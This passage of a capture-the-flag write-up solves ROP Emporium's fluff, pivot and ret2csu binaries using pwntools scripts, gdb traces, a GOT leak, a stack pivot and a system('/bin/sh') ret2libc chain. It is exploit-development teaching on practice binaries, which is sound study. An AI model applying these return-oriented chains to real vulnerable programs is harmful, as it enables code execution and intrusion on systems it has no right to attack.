f 0x004003c8
f 0x004003e2
f 0x004003f4
g 0x004003cf
g 0x004007a0
l 0x00400239
l 0x0040023f
l 0x00400242
l 0x004003c1
l 0x004003c5
l 0x004003e4
l 0x004003f9
l 0x00400405
t 0x004003d5
t 0x004003d8
t 0x004003e0
t 0x004003f1
t 0x0040040b
t 0x0040040e
t 0x00400419
t 0x00400423
t 0x00400426
t 0x004006cb
t 0x004006ce
Value Address
x 0x00400246
x 0x00400248
x 0x004006c8
x 0x00400725
x 0x00400751
x 0x00400778
x 0x004007bc
Strings
that's all we wanted for the string flag.txt
, let's craft the payload!
from pwn import *
pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628
# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2
print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40
p = process("./fluff")
gdb.attach(p, """
break *0x40062a
break *0x400628
break print_file
""")
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx)
payload += p64(xlat) + p64(pop_rdi) + p64(data_sec) + p64(stos)
p.sendline(payload)
p.interactive()
let's can try this and see if it works.
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
● 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
→ 0x400629 <questionableGadgets+1> ret
↳ 0x4006a3 <__libc_csu_init+99> pop rdi
0x4006a4 <__libc_csu_init+100> ret
0x4006a5 nop
0x4006a6 cs nop WORD PTR [rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini+0> repz ret
0x4006b2 add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 → <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0x67 0x67
wait, why do we get 0x67
it should be 0x66
what's going on? let's try that
again and see the register before xlat
maybe rax
is something before xlat
and that might interfere with our payload.
●→ 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
0x400629 <questionableGadgets+1> ret
● 0x40062a <questionableGadgets+2> pop rdx
0x40062b <questionableGadgets+3> pop rcx
0x40062c <questionableGadgets+4> add rcx, 0x3ef2
0x400633 <questionableGadgets+11> bextr rbx, rcx, rdx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400628 in questionableGadgets (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400628 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7fff5414a80a → in eax, dx
[#6] 0x7fb4d4414000 → <_rtld_global+0> rcl BYTE PTR [rdx+0x41], 0xd4
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0xb 0xb
i see, that's why we don't get 0x66
or f
, the offset might point to something else,
so let's calculate where we are going to point to before xlat
is executed by
subtracting 0xb
from the address.
...
payload = padding + p64(bextr) + p64(0x4000) + p64(0x004003c4 - add_rcx - 0xb)
...
0x400626 <usefulFunction+15> pop rbp
0x400627 <usefulFunction+16> ret
● 0x400628 <questionableGadgets+0> xlat BYTE PTR ds:[rbx]
→ 0x400629 <questionableGadgets+1> ret
↳ 0x4006a3 <__libc_csu_init+99> pop rdi
0x4006a4 <__libc_csu_init+100> ret
0x4006a5 nop
0x4006a6 cs nop WORD PTR [rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini+0> repz ret
0x4006b2 add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "fluff", stopped 0x400629 in questionableGadgets (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400629 → questionableGadgets()
[#1] 0x4006a3 → __libc_csu_init()
[#2] 0x400639 → questionableGadgets()
[#3] 0x4006a3 → __libc_csu_init()
[#4] 0x400510 → pwnme@plt()
[#5] 0x7ffc6a50100a → rex add BYTE PTR [rax], al
[#6] 0x7feda750d000 → <_rtld_global+0> shl dl, 0x50
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rax
rax 0x66 0x66
yeah! that's what we wanted now let's craft the full payload.
remember that everytime we get a character out, our al
is gonna change so we
have to calculate for the last string we wrote into the memory.
from pwn import *
pop_rdi = 0x4006a3
stos = 0x400639
xlat = 0x400628
# pop rdx, pop rcx, add rcx,0x3ef2, bextr rbx,rcx,rdx
bextr = 0x40062a
add_rcx = 0x3ef2
print_file = 0x400510
data_sec = 0x601028
padding = b"x" * 40
p = process("./fluff")
gdb.attach(p, """
break *0x40062a
break *0x400628
break print_file
""")
def writeToMem(addr, index, al = 0xb):
return p64(bextr) + p64(0x4000) + p64(addr - add_rcx - al) + p64(xlat) + p64(pop_rdi) + p64(data_sec + index) + p64(stos)
flag_file = "flag.txt"
flagList = [0x004003c4, 0x00400239, 0x004003d6, 0x004003cf, 0x0040024e, 0x004003d5, 0x00400246 ,0x004003d5]
payload = padding + writeToMem(flagList[0], 0)
for i, char in enumerate(flag_file):
# we already wrote the first character, and we only loop for the recently added character
if i == len(flag_file) - 1:
break
payload += writeToMem(flagList[i + 1], i + 1, ord(char))
payload += p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
p.interactive()
┌──(kali㉿kali)-[~/ctf/rop/fluff]
└─$ python solve.py
[+] Starting local process './fluff': pid 58410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './fluff', '58410', '-x', '/tmp/pwncifz4jv2.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64
You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
finally, we got the flag, i learnt a really neat trick from this challenge, to be honest, this challenge was very difficult for me but it's pretty fun using uncommon instructions so yeah nicesu nicesu!!
7. pivot
the seventh challenge, in this challenge, the objective is to call a function
ret2win
that lives within an imported library and the stack is only small
enough for a small rop chain, but the challenge provides us a space address
with an address pointing to it. so we can write our full ropchain there and
then "pivot" into that address.
there're several gadgets for us to work on within the binary
$ objdump -M intel --disassemble=usefulGadgets -S pivot
pivot: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .text:
00000000004009bb <usefulGadgets>:
4009bb: 58 pop rax
4009bc: c3 ret
4009bd: 48 94 xchg rsp,rax
4009bf: c3 ret
4009c0: 48 8b 00 mov rax,QWORD PTR [rax]
4009c3: c3 ret
4009c4: 48 01 e8 add rax,rbp
4009c7: c3 ret
4009c8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4009cf: 00
we can use pop rax; ret; xchg rsp, rax; ret
to change the stack point to our
pivot address.
let's look into what's inside the binary.
gef➤ i func
All defined functions:
Non-debugging symbols:
0x00000000004006a0 _init
0x00000000004006d0 free@plt
0x00000000004006e0 puts@plt
0x00000000004006f0 printf@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 foothold_function@plt
0x0000000000400730 malloc@plt
0x0000000000400740 setvbuf@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x00000000004008f1 pwnme
0x00000000004009a8 uselessFunction
0x00000000004009bb usefulGadgets
0x00000000004009d0 __libc_csu_init
0x0000000000400a40 __libc_csu_fini
0x0000000000400a44 _fini
there's one function that is imported from libpivot
into the binary which is
foothold_function
but there's no ret2win
imported, does that mean we can't call ret2win
?
no, ret2win
is still possible to be call if we leaked the address of foothold_function
and calculate the address to ret2win
it is possible to be called.
okay, if you did not read the beginner's guide of ROP Emporium yet, consider reading it now otherwise it won't make that much sense going forword.
alright, now what do we have to do to leak the address of foothold_function
?
from the description of the challenge, the function is imported but is not used
so the got.plt
of foothold_function
is not updated yet, what we have to do
here is to call it using our rop chain and then leak the updated address in got.plt
.
after that we can use puts
to leak the address of the updated got.plt
of
foothold_function
then, use it to calculate the address in the library itself
so that we get the base address of the library, then we can simply take the offset
of ret2win
and add it to the base address to get the runtime address of ret2win
.
after that we can call main
again and send new chain with the address of ret2win
.
let's craft the chain to do so.
from pwn import *
elf = context.binary = ELF("./pivot")
libpivot = ELF("./libpivot.so")
rop = ROP(elf)
p = process()
# gdb.attach(p, "break foothold_function")
padding = b"x" * 40
main_plt = elf.symbols["main"]
foothold_plt = elf.plt["foothold_function"]
foothold_got = elf.got["foothold_function"]
puts_plt = elf.plt["puts"]
p.recvuntil(b"libpivot\n")
pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")
payload = p64(foothold_plt) + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(foothold_got) + p64(puts_plt) + p64(main_plt)
p.sendline(payload)
p.clean()
xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))
p.recvline()
p.recvline()
leak_foothold_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_foothold_bytes.reverse()
leak_foothold = int.from_bytes(leak_foothold_bytes)
log.info(f"leaked foothold {hex(leak_foothold)}")
base_libpivot = leak_foothold - libpivot.symbols["foothold_function"]
ret2win = base_libpivot + libpivot.symbols["ret2win"]
log.info(f"ret2win location: {hex(ret2win)}, we are jumping now!")
p.clean()
p.sendline(padding + p64(ret2win))
p.interactive()
let's try it.
$ python solve.py
[*] '/home/kali/ctf/rop/pivot/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[*] '/home/kali/ctf/rop/pivot/libpivot.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 15 cached gadgets for './pivot'
[+] Starting local process '/home/kali/ctf/rop/pivot/pivot': pid 1837
[*] pivot location: 0x7efc12619f10
[*] leaked foothold 0x7efc1280096a
[*] ret2win location: 0x7efc12800a81, we are jumping now!
[*] Switching to interactive mode
[*] Process '/home/kali/ctf/rop/pivot/pivot' stopped with exit code 0 (pid 1837)
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
very nice, now that we have this knowledge, we can just leak the address of libc
to get a shell by calling system
with /bin/sh
as an argument. you should
try it yourself.
hmm?
from pwn import *
elf = context.binary = ELF("./pivot")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)
p = process()
# gdb.attach(p, "break foothold_function")
padding = b"x" * 40
main_plt = elf.symbols["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
p.recvuntil(b"libpivot\n")
pivot = int(p.recvline().decode("utf-8").split()[-1].strip()[2::], 16)
log.info(f"pivot location: {hex(pivot)}")
payload = p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(puts_got) + p64(puts_plt) + p64(main_plt)
p.sendline(payload)
p.clean()
xchg_rsp_rax = 0x4009bd # somehow ROPgadget can't find "xchg rsp, rax", "ret" but can be searched using commandline (why)
p.sendline(padding + p64(rop.find_gadget(["pop rax", "ret"])[0]) + p64(pivot) + p64(xchg_rsp_rax))
p.recvline()
leak_puts_bytes = bytearray.fromhex(p.recvline().strip().hex())
leak_puts_bytes.reverse()
leak_puts = int.from_bytes(leak_puts_bytes)
log.info(f"leaked puts {hex(leak_puts)}")
base_libc = leak_puts - libc.symbols["puts"]
bin_sh = base_libc + next(libc.search(b"/bin/sh"))
system = base_libc + libc.symbols["system"]
log.info(f"system location: {hex(system)} with arg {hex(bin_sh)}, we are jumping now!")
p.clean()
p.sendline(padding + p64(rop.find_gadget(["pop rdi", "ret"])[0]) + p64(bin_sh) + p64(system))
p.interactive()
there's also other ways to solve this challenge such as writing got.plt
with
something else, or use one_gadget or loading got.plt
into memory, modify it
and call it using call reg
. but i've had enough of it so, nicesu nicesu!!
8. ret2csu
the final challenge of ROP Emporium, the challenge is similar to callme
which requires us to call a ret2win
function with an arguments of
ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
but this time there's a limited gadgets for us to work with.
so what's ret2csu exactly?
ret2csu is a technique that allows us to control registers when gadgets are lacking in the binary more information can be found in this paper
in this paticular case, the binary imported libc so there's a function called
__libc_csu_init
which is very important for us to uses to control registers.
gef➤ disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400640 <+0>: push r15
0x0000000000400642 <+2>: push r14
0x0000000000400644 <+4>: mov r15,rdx
0x0000000000400647 <+7>: push r13
0x0000000000400649 <+9>: push r12
0x000000000040064b <+11>: lea r12,[rip+0x20079e] # 0x600df0
0x0000000000400652 <+18>: push rbp
0x0000000000400653 <+19>: lea rbp,[rip+0x20079e] # 0x600df8
0x000000000040065a <+26>: push rbx
0x000000000040065b <+27>: mov r13d,edi
0x000000000040065e <+30>: mov r14,rsi
0x0000000000400661 <+33>: sub rbp,r12
0x0000000000400664 <+36>: sub rsp,0x8
0x0000000000400668 <+40>: sar rbp,0x3
0x000000000040066c <+44>: call 0x4004d0 <_init>
0x0000000000400671 <+49>: test rbp,rbp
0x0000000000400674 <+52>: je 0x400696 <__libc_csu_init+86>
0x0000000000400676 <+54>: xor ebx,ebx
0x0000000000400678 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
this is the full disassembly of __libc_csu_init
, you might see something that
represent gadgets here from the line <+90>
to <+100>
and <+64>
to <+73>
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
these's might not look like gadgets at first, but we can actually control 3 of
the registers for calling a function which are edi
, rsi
and rdx
.
there're also pop
instructions floating around in the binary for rdi
and rsi
but i decided to just use the instructions from __libc_csu_init
to do the job.
note that call QWORD PTR [r12+rbx*8]
is not call r12+rbx*8
, this instruction
calculate for the address of r12+rbx*8
and then reference it, get the address
from memory and then call that address.
let's try to use these to manipulate registers and call ret2win
.
from pwn import *
p = process("./ret2csu")
gdb.attach(p, """break ret2win""")
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680
ret2win = 0x400510
ret2win_got = 0x601020
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
padding = b"x" * 40
payload = flat([
padding,
pop,
0,
0,
ret2win_got,
arg_1,
arg_2,
arg_3,
mov,
],word_size=64)
p.sendline(payload)
p.interactive()
let's try it.
→ 0x7f2a9ae009d7 <ret2win+4> sub rsp, 0x30
0x7f2a9ae009db <ret2win+8> mov QWORD PTR [rbp-0x18], rdi
0x7f2a9ae009df <ret2win+12> mov QWORD PTR [rbp-0x20], rsi
0x7f2a9ae009e3 <ret2win+16> mov QWORD PTR [rbp-0x28], rdx
0x7f2a9ae009e7 <ret2win+20> mov QWORD PTR [rbp-0x10], 0x0
0x7f2a9ae009ef <ret2win+28> movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7f2a9ae009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f2a9ae009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rdi rsi rdx
rdi 0xdeadbeef 0xdeadbeef
rsi 0xcafebabecafebabe 0xcafebabecafebabe
rdx 0xd00df00dd00df00d 0xd00df00dd00df00d
looking at the debugger our rdi is not correct yet but other registers are.
what can we do here? maybe we can try to pop rdi
to 0xdeadbeefdeadbeef
first
and then calling the gadgets from csu
later on so let's try that.
from this paper we can do
pop rdi
directly by offsetting the pop
gadgets from __libc_csu_init
and
here's the new payload.
payload = flat([
padding,
pop + 0x9,
arg_1,
pop,
0,
0,
ret2win_got,
arg_1,
arg_2,
arg_3,
mov,
],word_size=64)
let's try it.
→ 0x7fe2490009d7 <ret2win+4> sub rsp, 0x30
0x7fe2490009db <ret2win+8> mov QWORD PTR [rbp-0x18], rdi
0x7fe2490009df <ret2win+12> mov QWORD PTR [rbp-0x20], rsi
0x7fe2490009e3 <ret2win+16> mov QWORD PTR [rbp-0x28], rdx
0x7fe2490009e7 <ret2win+20> mov QWORD PTR [rbp-0x10], 0x0
0x7fe2490009ef <ret2win+28> movabs rax, 0xdeadbeefdeadbeef
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2csu", stopped 0x7fe2490009d7 in ret2win (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fe2490009d7 → ret2win()
[#1] 0x40068d → __libc_csu_init()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r rdi rsi rdx
rdi 0xdeadbeef 0xdeadbeef
rsi 0xcafebabecafebabe 0xcafebabecafebabe
rdx 0xd00df00dd00df00d 0xd00df00dd00df00d
so that doesn't work, hmm... what can we do now? i stuck here for a while then
i came up with the idea of what if, i can somehow bypass the call
instruction
and go right to ret
so then we can chain more registers to do stuff like pop rdi
for example.
after researching for a while i found this book
from hacktricks, looking at it i found that it mentions initPtr
and i took a
dive to see what this is, i assumed that it's the function _init
that lives in
the binary.
gef➤ disas _init
Dump of assembler code for function _init:
0x00000000004004d0 <+0>: sub rsp,0x8
0x00000000004004d4 <+4>: mov rax,QWORD PTR [rip+0x200b1d] # 0x600ff8
0x00000000004004db <+11>: test rax,rax
0x00000000004004de <+14>: je 0x4004e2 <_init+18>
0x00000000004004e0 <+16>: call rax
0x00000000004004e2 <+18>: add rsp,0x8
0x00000000004004e6 <+22>: ret
hmm, it's a relatively small function so maybe we can probably use this to bypass
the call function and get to execute instructions after the call
instruction and
landing at ret
instruction, after that we can do pop rdi
and then call ret2win
function.
but hold on, how do we find where 0x4004d0
live with in the binary? we can use
&_DYNAMIC
section to find the location of 0x4004d0
using gdb
gef➤ x/10xg &_DYNAMIC
0x600e00: 0x0000000000000001 0x0000000000000001
0x600e10: 0x0000000000000001 0x0000000000000038
0x600e20: 0x000000000000001d 0x0000000000000078
0x600e30: 0x000000000000000c 0x00000000004004d0
0x600e40: 0x000000000000000d 0x00000000004006b4
gef➤ x/xg 0x600e38
0x600e38: 0x00000000004004d0
so 0x600e38
it is.
there's something to consider before writing our script, let's look into __libc_csu_init
one more time.
-----
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
after call
instruction there's some conditions to be met to reach ret
instruction,
we have to make rbp
equal to rbx
otherwise it will jump back to mov
and
call again after that we just have to add junks to fill for pop instructions,
we also have to account for add rsp,0x8
with some junks too.
let's craft the final expliot
from pwn import *
p = process("./ret2csu")
gdb.attach(p, """break ret2win""")
# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
pop = 0x40069a
# mov rdx, r15; mov rsi, r14; mov edi, r13d; call qw ptr [r12+rbx*8]
mov = 0x400680
ret2win = 0x400510
init_ptr = 0x600e38
arg_1 = 0xdeadbeefdeadbeef
arg_2 = 0xcafebabecafebabe
arg_3 = 0xd00df00dd00df00d
padding = b"x" * 40
payload = flat([
padding,
pop,
0, # rbx
1, # add one so that rbp is equal to rbx after add rbx,0x1
init_ptr,
0,
arg_2,
arg_3,
mov,
0, # add rsp,0x8 padding
0,
0,
0,
0,
0,
0,
pop + 0x9,
arg_1,
ret2win,
],word_size=64)
p.sendline(payload)
p.interactive()
let's run it!
$ python solve.py
[+] Starting local process './ret2csu': pid 2083
[*] running in new terminal: ['/usr/bin/gdb', '-q', './ret2csu', '2083', '-x', '/tmp/pwnb34fq9vj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ret2csu by ROP Emporium
x86_64
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Process './ret2csu' stopped with exit code 0 (pid 2083)
[*] Got EOF while reading in interactive
andddddddd it's done! nicesu nicesu!
we can also use _fini
too since it's basically doing nothing
gef➤ disas _fini
Dump of assembler code for function _fini:
0x00000000004006b4 <+0>: sub rsp,0x8
0x00000000004006b8 <+4>: add rsp,0x8
0x00000000004006bc <+8>: ret
either way is fine, we since we pwned it anyway haha.
alright!, we pwned all of ROP Emporium challenges, if you stick around until this point, thank you so much, i hope you had fun doing these challenges, like i did. see you next time!